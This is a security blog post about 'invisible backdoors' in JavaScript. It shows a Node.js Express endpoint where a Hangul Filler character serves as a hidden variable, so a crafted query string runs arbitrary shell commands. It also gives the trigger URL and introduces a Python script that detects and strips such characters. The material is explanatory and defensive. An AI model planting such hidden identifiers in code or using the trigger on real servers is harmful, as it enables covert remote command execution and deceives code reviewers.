Invisible Backdoors

Working in Cybersecurity is like living in the jungle. Every day you gotta watch out for possible threats that could endanger you. Today we talk about a new kind of vulnerability which is quite sneaky, because it is invisible. Yep, we are going to talk about Invisible Backdoors.

Background

This subject is quite recent: a paper was published a few weeks ago called “Trojan Source: Invisible Vulnerabilities“. In this paper they talk about how it is possible, using some special Unicode characters, to introduce Trojan Source inside a codebase without being detected; after that they also created a website to show off this kind of vulnerability. I don’t want to talk about it again in this post for two reasons:

  1. As I said there is a recently published paper that is much more detailed than I could ever be
  2. This post focuses on a verticalization of this general method of attack

In fact, as you can see from the post title, I want to specifically talk about Invisible Backdoors in Javascript and how to detect them; so without hesitation let’s quickly explain what an Invisible Backdoor is.

What is an Invisible Backdoor

An Invisible Backdoor is a vulnerability that was described a couple of weeks ago by Wolfgang Ettlinger at Certitude. In the following paragraph, I’m going to use the same snippet of code used by Wolfgang to provide you with a working example of an Invisible Backdoor in Node.js.

Can you spot the backdoor in the following snippet of code?

const express = require('express'); const util = require('util'); const exec = util.promisify(require('child_process').exec); const app = express(); app.get('/network_health', async (req, res) => {   const { timeout,ㅤ} = req.query;   const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ ];  try {     await Promise.all(checkCommands.map(cmd =>       cmd && exec(cmd, { timeout: +timeout || 5_000 })));     res.status(200);     res.send('ok');   } catch(e) {     res.status(500);     res.send('failed');   } });app.listen(8080);

If you look very carefully you’ll probably find it, but I’m quite sure that 90% of you will not see it at first sight. This code implements a simple GET endpoint using the Express framework; this endpoint takes also one parameter from the query string (the timeout) and executes two commands:

  • ping to google.com
  • curl to example.com

If both those commands (Promise.all) are successfully completed then a 200 OK message is returned (with the text ok), on the other hand, if at least one of them fails then a 500 Internal Server Error message is returned (with the text failed).

What is I tell you that everything that I wrote in the past sentences is (partially) a lie? There is not only one parameter taken from the query string and the commands executed are three, not two.

The approach used to create an invisible backdoor is quite simple: there are some Unicode characters that look like a blank space and that can also be used as a variable name. In fact every Unicode character with the ID_START property can be used as the first character of a variable name (and therefore it can also be a variable name itself). The character found in the post I linked before is “ㅤ” (0x3164 in hex) which is called HANGUL FILLER. In fact if you look closely at the sixth line you will find a comma and a blank space after that; that is not a common space, but a hangul filler instead.

const { timeout,\u3164} = req.query;

And you will find the same on the following line, when all the commands to execute are defined:

 const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',\u3164 ];

If you are familiar with Javascript you will quickly understand what is going on; using the destructuring property of Objects two variables can be unpacked from the query string: both timeout and the invisible hangul filler variable. The endgame is the following: if you call this endpoint adding the URL-encoded version of the Hangul Filler you will be able to execute any command:

http://host:8080/network_health?%E3%85%A4=<any command>

What is the problem with this kind of attack? Easy said: I could simply change the source code of an open-source project and nearly none would notice it; quite scary eh?

How to detect an Invisible Backdoor

This kind of backdoor is difficult to spot because, as the title says, it’s invisible! For this reason, we managed to create a little Python script that allows you to both spot and remove those Unicode characters. Before a quick description of how the script works, I have to point out that this particular backdoor should be applicable only to Javascript code due to its unique way of destructuring Objects. Surely there are plenty of ways to use Unicode characters to inject a Trojan into a codebase without being seen (as also described by the paper linked at the beginning of the post). Let’s move on and skip it right away to the script that we called Invisibled Backdoor Detector

At first we managed to find other characters similar to the HANGUL FILLER. We used a simple search with the “filler” keyword and found these:

The ones that behave like a blank space (excluding the Hangul Filler) are:

  • Hangul Choseong Filler
  • Hangul Jungseong Filler
  • Halfwidth Hangul Filler

The script is quite simple: you have to execute it giving the path of your source code, then the script:

  • Checks if it is a valid folder
  • Gets only the textfiles from that folder (and the subfolders, of course)
  • Checks every file for the presence of those Fillers (by reading bytes from every file)
  • Gives the user the output
  • [Optionally] Removes those characters from the codebase

Here is the script in action:

As we love to share the script is publicly available on GitHub and is released under the MIT License. If you want to try it you have just to clone the repo, install the dependencies (through the requirements.txt file) and you can test it right away on the example file we provided you:

python3 invisible-backdoor-detector.py path ./example/src/ [--remove]

The output will be exactly the same as the above screenshot.

Even though I only focused on the Invisible Backdoors this code can be easily changed to add other Unicode characters that can be used in other kind of attacks (like the Homoglyph ones). Don’t wait any longer, clone it an try it out on your codebase (and maybe give us a little star).